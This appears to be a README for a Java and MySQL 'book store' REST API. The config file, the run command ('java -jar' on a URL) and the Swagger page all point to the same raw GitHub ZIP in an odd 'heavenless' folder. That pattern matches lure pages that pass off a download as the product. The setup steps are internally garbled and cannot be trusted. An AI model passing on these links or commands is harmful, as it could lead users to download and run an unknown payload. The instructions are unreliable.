📚 RestFull-Book-Store-API - Simple Book Management Made Easy

🚀 Getting Started

Welcome to the RestFull-Book-Store-API! This application helps you manage books and authors in an easy-to-navigate digital library. Whether you're a book lover or just need an efficient way to organize your collection, this API is for you.

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💾 System Requirements

Before you start, ensure your system meets the following requirements:

• Java: Version 11 or higher
• MySQL: Version 5.7 or higher
• RAM: At least 2 GB
• Disk Space: Minimum 100 MB available

📚 Features

• Global Exception Handling: Handle errors smoothly with user-friendly messages.
• Book Management: Easily add, remove, and modify books in your library.
• Author Management: Keep track of author details and their associated books.
• Pagination: View large lists of books without clutter.
• Sorting: Organize books based on title, author, or date added.
• RESTful API: Interact via standard HTTP requests.
• Postman Collection: Test the API endpoints with an easily importable collection.
• Swagger API Documentation: View and test the API directly in your browser.

🔧 Download & Install

To set up the RestFull-Book-Store-API:

1. Visit the Releases Page: Go to this link to find the latest version.
2. Download the Application: Look for the latest release and download it. You will find files related to various operating systems.
3. Extract Files: After downloading, extract the files to a folder on your computer.
4. Setup Database:
   • Make sure MySQL Server is running.
   • Create a database named book_store.
5. Configure Application Properties:
   • Open the https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zip file.
   • Update the MySQL connection details (username, password, and URL).
6. Run the Application:
   • Open your command prompt or terminal.
   • Navigate to the folder where you extracted the files.
   • Run the following command:

     java -jar https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zip
     

🌐 API Access

After setting up the application, you can access it via http://localhost:8080. Use a tool like Postman to interact with the API endpoints.

📝 Example Usage

Get All Books

To retrieve a list of all books, send a GET request to:

GET http://localhost:8080/api/books

Add a New Book

To add a new book, send a POST request with the following JSON body:

{
  "title": "New Book Title",
  "author": "Author Name",
  "publishedDate": "2023-01-01"
}

📚 Exploring Endpoints

You can explore the available endpoints using the Swagger documentation. Simply navigate to https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zip in your web browser.

🔄 Contributing to the Project

If you wish to contribute:

1. Fork the Repository: Create your own copy of the repository.
2. Make Changes: Make the desired changes in your fork.
3. Submit a Pull Request: Share your enhancements back to the original project.

💬 Questions or Issues?

Feel free to reach out for support. You can open issues in the repository if you face any challenges, or check the FAQs for common queries.

🔗 References

• Java Official Site
• MySQL Official Site
• Postman Official Site
• Swagger Official Site

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Now you're ready to start using the RestFull-Book-Store-API! Enjoy your new digital library system.